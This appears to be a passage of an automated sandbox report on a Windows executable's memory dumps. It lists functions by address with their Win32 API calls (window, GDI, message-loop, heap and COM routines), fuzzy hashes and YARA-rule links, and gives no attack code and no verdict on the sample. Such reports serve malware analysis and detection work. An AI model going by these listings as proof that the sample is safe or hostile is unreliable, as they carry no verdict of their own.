Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: c8e70a5bc0a686145bf7dd7018b0f158de32a5e8e6c307fc54d6f8fdf2d0ce59
Instruction ID: 0a274926c957e174feada032711770c938e307f14c485372fa912e1e0fd1fac0
Opcode Fuzzy Hash: c8e70a5bc0a686145bf7dd7018b0f158de32a5e8e6c307fc54d6f8fdf2d0ce59
Instruction Fuzzy Hash: D6B19D3151121AEFDF16CFADC5857BD7BB1FF44700F048269EE489A28AD770A990CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01181800, Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 842d34b37d9166a6ae3bafbdb401c527aafbc9b4f1f9a4416b739ad628ef9dfb
Instruction ID: 1d038c8d10d925f372f7ae0597136d28683d126c7b48b42f099b74977779f33b
Opcode Fuzzy Hash: 842d34b37d9166a6ae3bafbdb401c527aafbc9b4f1f9a4416b739ad628ef9dfb
Instruction Fuzzy Hash: CE717C31900109FFDB18EF98C889EAEBB79FF86315F14C159F915AA251C7309A52CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0120B9C3, Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(016A6CF8), ref: 0120BA5D
IsWindowEnabled.USER32(016A6CF8), ref: 0120BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0120BB4D
SendMessageW.USER32(016A6CF8,000000B0,?,?), ref: 0120BB84
IsDlgButtonChecked.USER32(?,?), ref: 0120BBC1
GetWindowLongW.USER32(016A6CF8,000000EC), ref: 0120BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0120BBFB

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 0ed51e3a569e865c3444652dd559fbff181cd270671be553cc6096c7c63b92c6
Instruction ID: c32a9117679399d878ab60fe477c4bcac86c9b519407a629901862dae4469db1
Opcode Fuzzy Hash: 0ed51e3a569e865c3444652dd559fbff181cd270671be553cc6096c7c63b92c6
Instruction Fuzzy Hash: 0671D238A10206AFEB36DF58C894FBA7BB5EF49301F104659FA5597296DB31A880CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0118218F, Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 011821B8
GetWindowRect.USER32 ref: 011821F9
ScreenToClient.USER32 ref: 01182221
GetClientRect.USER32 ref: 01182350
GetWindowRect.USER32 ref: 01182369

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: ac7e1807a81c7b277afe4e366facaba79e4e0dada771694cf0ad99d83c85c60f
Instruction ID: ec59821789f7b638feb4bd1e11bb6202640116a40826829ce4b8f757e2ca68fd
Opcode Fuzzy Hash: ac7e1807a81c7b277afe4e366facaba79e4e0dada771694cf0ad99d83c85c60f
Instruction Fuzzy Hash: BBB16939904249DBDF19DFA8C4807EEBBB1FF08310F148129ED59AB655EB30AA40CF65

Uniqueness

Uniqueness Score: -1.00%

Function 011E6A73, Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 011E6BC6
_memmove.LIBCMT ref: 011E6B01

Part of subcall function 01184D37: __itow.LIBCMT ref: 01184D62
Part of subcall function 01184D37: __swprintf.LIBCMT ref: 01184DAC

Part of subcall function 011A0FE6: _malloc.LIBCMT ref: 011A0FFE

_memmove.LIBCMT ref: 011E6B74
_memmove.LIBCMT ref: 011E6C5B
_memmove.LIBCMT ref: 011E6C74
_memmove.LIBCMT ref: 011E6C90

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove$__itow__swprintf_malloc
String ID:
API String ID: 83262069-0
Opcode ID: 92927bb43b51b5272eeb35e8a995f362f13bfdad44110e2de7a5d0eca15d29bf
Instruction ID: fd167a93db9eb56072cf41cec8c21b327d2d5eab9d9d46f9dfcac2e5113c4976
Opcode Fuzzy Hash: 92927bb43b51b5272eeb35e8a995f362f13bfdad44110e2de7a5d0eca15d29bf
Instruction Fuzzy Hash: 5F61DE34600A9BABCF09FFA4CC84EFE3BA8AF2520CF858558E9556B191DB309815CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01181B41, Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 011829E2: GetWindowLongW.USER32(?,000000EB), ref: 011829F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 01181B76
GetWindowRect.USER32 ref: 01181BDA
ScreenToClient.USER32 ref: 01181BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 01181C08
EndPaint.USER32(?,?), ref: 01181C52

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 0fbba8c22cfbde6af36794f862136c17c424e7aebdafedc4ece3b89dd753a0a5
Instruction ID: 73535cc72a8eccbdde582840bbcc198db44c7497c3dad56b7bc9bb07447f2bfb
Opcode Fuzzy Hash: 0fbba8c22cfbde6af36794f862136c17c424e7aebdafedc4ece3b89dd753a0a5
Instruction Fuzzy Hash: 5B41F331104300AFD725EF24D8C8FB63BF8EB55324F144A68F9A4872A5C7309845DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0120BD10, Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(012477B0,00000000,016A6CF8,?,?,012477B0,?,0120BC1A,?,?), ref: 0120BD84
EnableWindow.USER32(?,00000000), ref: 0120BDA8
ShowWindow.USER32(012477B0,00000000,016A6CF8,?,?,012477B0,?,0120BC1A,?,?), ref: 0120BE08
ShowWindow.USER32(?,00000004,?,0120BC1A,?,?), ref: 0120BE1A
EnableWindow.USER32(?,00000001), ref: 0120BE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0120BE61

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 8a1e2a8631a35cff5c5764a92025fb54011e39e6584b15027365207b6fedac1e
Instruction ID: a5dfe9e7c41c4a81c6ac2d7a7f35b63f424db71d4a3180a61f892ff715d903c6
Opcode Fuzzy Hash: 8a1e2a8631a35cff5c5764a92025fb54011e39e6584b15027365207b6fedac1e
Instruction Fuzzy Hash: 79411C38610146AFDB37CF18D489B95BBE1BB09314F1842A9EB588F2E3CB31A845CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0120C552, Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 011816CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 01181729
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181738
Part of subcall function 011816CF: BeginPath.GDI32(?), ref: 0118174F
Part of subcall function 011816CF: SelectObject.GDI32(?,00000000), ref: 01181778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0120C57C
LineTo.GDI32(00000000,00000003,?), ref: 0120C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0120C59E
LineTo.GDI32(00000000,00000000,?), ref: 0120C5AE
EndPath.GDI32(00000000), ref: 0120C5BE
StrokePath.GDI32(00000000), ref: 0120C5CE

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: eb510f443b20445ab816991516791d6249f7bd29853e1b911a08ac26cf8d6623
Instruction ID: 2b217ccc8dbe2443c2b043c690460117d128f72d8bdd261c998e394d9304b65c
Opcode Fuzzy Hash: eb510f443b20445ab816991516791d6249f7bd29853e1b911a08ac26cf8d6623
Instruction Fuzzy Hash: F1111E7600010DBFEF129F94EC88E9A7F6DEB14354F048151FA1856164CB719E95DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 011E77EB, Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 011E77FE
EnterCriticalSection.KERNEL32(?,?,0118C2B6,?,?), ref: 011E780F
TerminateThread.KERNEL32(00000000,000001F6,?,0118C2B6,?,?), ref: 011E781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,0118C2B6,?,?), ref: 011E7829

Part of subcall function 011E71F0: CloseHandle.KERNEL32(00000000,?,011E7836,?,0118C2B6,?,?), ref: 011E71FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 011E783C
LeaveCriticalSection.KERNEL32(?,?,0118C2B6,?,?), ref: 011E7843

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 539cae14b59bbb440e266c6ed104d21ae4e1d9f57e930e7b118942ca3fe75b57
Instruction ID: b8c5a59c588911e5564d134edc9b5fcba998bd50fb136375f58c9198de95d748
Opcode Fuzzy Hash: 539cae14b59bbb440e266c6ed104d21ae4e1d9f57e930e7b118942ca3fe75b57
Instruction Fuzzy Hash: 25F08232541612ABE7356BA4FC8CEEB7B79FF65302F140425F60395098DFB95881CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 01182714, Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 01182727
ScreenToClient.USER32 ref: 01182744
GetAsyncKeyState.USER32(00000001), ref: 01182769
GetAsyncKeyState.USER32(00000002), ref: 01182777

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 0b5716ec0ebfdac522ceb93139759eeef9933770740761f4534c99aa41293460
Instruction ID: 64c75f6f811c6028b6d47862e0248303f7a94e2d8eb491edd0de0d7108ab7207
Opcode Fuzzy Hash: 0b5716ec0ebfdac522ceb93139759eeef9933770740761f4534c99aa41293460
Instruction Fuzzy Hash: ED41847550450AFFDF1EAF69C844BE9BB74FB15324F508356F928921A0C7309990DF91

Uniqueness

Uniqueness Score: -1.00%

Function 011852B0, Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 011852E6
PeekMessageW.USER32 ref: 0118534A
TranslateMessage.USER32(?), ref: 01185356
DispatchMessageW.USER32 ref: 01185360

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 391330cb407f306cab1d2c184bbf517c4e634f81818f83af792319810cc8439d
Instruction ID: ff34aaca944a277f9e982e491957bc6417d8b047cd119d67f8c97d93f6bca714
Opcode Fuzzy Hash: 391330cb407f306cab1d2c184bbf517c4e634f81818f83af792319810cc8439d
Instruction Fuzzy Hash: DD31E730508306DBEF7DEAA8F888BE97BEAEB01308F158159F921971C5D7B59085DF12

Uniqueness

Uniqueness Score: -1.00%

Function 011B5312, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 011B531E

Part of subcall function 011A593C: __FF_MSGBANNER.LIBCMT ref: 011A5953
Part of subcall function 011A593C: __NMSG_WRITE.LIBCMT ref: 011A595A
Part of subcall function 011A593C: RtlAllocateHeap.NTDLL(01690000,00000000,00000001,?,00000004,?,?,011A1003,?), ref: 011A597F

_free.LIBCMT ref: 011B5331

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 9a7675a321f54cf670bda204860b4e54aec01757e4730bea84541aaeeda8453f
Instruction ID: 798c02f9741b4118336f42477efd43ef209754b1cc06fa4e2b618c19da175154
Opcode Fuzzy Hash: 9a7675a321f54cf670bda204860b4e54aec01757e4730bea84541aaeeda8453f
Instruction Fuzzy Hash: BB113A3680E216AFCB7D2F78A8886DE3F85AF24365F400429F9489A360DFB084408790

Uniqueness

Uniqueness Score: -1.00%

Function 011816CF, Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 01181729
SelectObject.GDI32(?,00000000), ref: 01181738
BeginPath.GDI32(?), ref: 0118174F
SelectObject.GDI32(?,00000000), ref: 01181778

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 632ea1becf5f710749fb921892e43a4138e119419f266b1441a09ae4ddef686c
Instruction ID: 183a38930b7a09ffecf504c59eba216a3889e70e1664559a6e57a1a1560e35bd
Opcode Fuzzy Hash: 632ea1becf5f710749fb921892e43a4138e119419f266b1441a09ae4ddef686c
Instruction Fuzzy Hash: 5921F535800608FFEB25EF28FC4CBA93BE8F700725F248219F82592198D7719492DF94

Uniqueness

Uniqueness Score: -1.00%

Function 011D7D07, Relevance: 7.6, APIs: 5, Instructions: 60stringCOMMON

Download Yara Rule

APIs

Part of subcall function 011D87E4: RaiseException.KERNEL32(8007000E,?,00000000,00000000,?,011D7D27,-C0000018,00000001,?,011D7C62,80070057,?,?,?,011D8073), ref: 011D87F1

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?,?,011D8073), ref: 011D7D45
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?), ref: 011D7D60
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?), ref: 011D7D6E
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?), ref: 011D7D7E
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,011D7C62,80070057,?,?), ref: 011D7D8A

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: From$Prog$ExceptionFreeRaiseStringTasklstrcmpi
String ID:
API String ID: 450394209-0
Opcode ID: 6ffb30544a6339a7abad21001f67a26da7a9872910c93532f6025ecba8161674
Instruction ID: 3c827dfbb3f365e6e1793fd40dacc5df6977d7de54b1a6650ce057aedfb91c6f
Opcode Fuzzy Hash: 6ffb30544a6339a7abad21001f67a26da7a9872910c93532f6025ecba8161674
Instruction Fuzzy Hash: 7B11C277600608ABDB248F64DC08BAE7BADEB44355F158014FD09D6144DB75DD80C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 011E57FF, Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 011E581B
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 011E5829
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 011E5831
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 011E583B
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 011E5877

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 59906d83f442e998b5966daed900f5a2ebd70b7057ad890a7bfcf1a91287b69a
Instruction ID: 44b4474c9cbbdb773ce4821271630a4281a2d4bb4b71ebd43ce5d586380997d6
Opcode Fuzzy Hash: 59906d83f442e998b5966daed900f5a2ebd70b7057ad890a7bfcf1a91287b69a
Instruction Fuzzy Hash: 44015735C01A1D9BDF28DFEAE84C9EDBBB9BB08715F014156E501F2144DF3495A0CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0118178C, Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0118179B
StrokeAndFillPath.GDI32(?,?,011BBBC9,00000000,?), ref: 011817B7
SelectObject.GDI32(?,00000000), ref: 011817CA
DeleteObject.GDI32 ref: 011817DD
StrokePath.GDI32(?), ref: 011817F8

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: bc244b42db8cb2536bd0caf301d9c2b5fcc72792163ff8aba117ea3e18798493
Instruction ID: f427b78cc0c17fab56a60e47eba550cb292ab734e17ee2d6f167a60593c2fc1e
Opcode Fuzzy Hash: bc244b42db8cb2536bd0caf301d9c2b5fcc72792163ff8aba117ea3e18798493
Instruction Fuzzy Hash: D7F01935000608BFEB35AF29F90C7583FA4A710722F048258F52A441E8CB314596EF54

Uniqueness

Uniqueness Score: -1.00%

Function 0119CF0C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0119CFC2
_memmove.LIBCMT ref: 0119D060
_memset.LIBCMT ref: 0119D084

Strings

ERCP, xrefs: 0119CF2D

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 1ec50af2a5570ce2f8c889c8a6b2971c8a1ff24be6ff02483ee4ab662a29b358
Instruction ID: 6e69b2e141b536d18ab4cfe30c3179b4efb6d2efda64da1b3cd2b6eadc846114
Opcode Fuzzy Hash: 1ec50af2a5570ce2f8c889c8a6b2971c8a1ff24be6ff02483ee4ab662a29b358
Instruction Fuzzy Hash: 0E51C2B19007069BDF2CCFA8D8847AABBF4FF44354F14856ED59ADB250E7709185CB81

Uniqueness

Uniqueness Score: -1.00%

Function 011D7D9B, Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef76289f066a592790ec424eb4e3a4225cd35b0a5e2a1fd16afff048afc57e7
Instruction ID: 7574c2549e39a7ef03f50de3581ad10d2635629854804164ac949a7c69116fc1
Opcode Fuzzy Hash: 8ef76289f066a592790ec424eb4e3a4225cd35b0a5e2a1fd16afff048afc57e7
Instruction Fuzzy Hash: 79C19E75A00216EFDB18CF98C884EAEFBB5FF48714B158598E905EB291D731ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011D749B, Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 011D74AC
SysAllocString.OLEAUT32(00000000), ref: 011D7555
VariantCopy.OLEAUT32 ref: 011D7584
VariantClear.OLEAUT32(?), ref: 011D75AB

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 2799af4bb464723fb87321617bffb4645e044f0a076643773c478b308c51924b
Instruction ID: f34fcc8a9f87558de5dfc19fb1ead99dabc0ceaf5e91ac218da9b5aa87fde0e5
Opcode Fuzzy Hash: 2799af4bb464723fb87321617bffb4645e044f0a076643773c478b308c51924b
Instruction Fuzzy Hash: 1551A4356007029BEB2CAF7D9895A2DF7E5EF5431CB20881FE556DB6D1FB3098808B06

Uniqueness

Uniqueness Score: -1.00%

Function 0120B1A9, Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0120B1D2
GetWindowRect.USER32 ref: 0120B248
PtInRect.USER32(?,?,0120C6BC), ref: 0120B258
MessageBeep.USER32(00000000), ref: 0120B2C9

Memory Dump Source

Source File: 0000001B.00000002.894715105.0000000001181000.00000020.00020000.sdmp, Offset: 01180000, based on PE: true

Associated: 0000001B.00000002.894697979.0000000001180000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894828818.0000000001210000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894888204.0000000001236000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.894907989.0000000001240000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.894927342.0000000001249000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: dbabcaed125ab04bcfd9cb21bfb591fa079fdfc85dc32f4c5fbf69ee9fc7446b
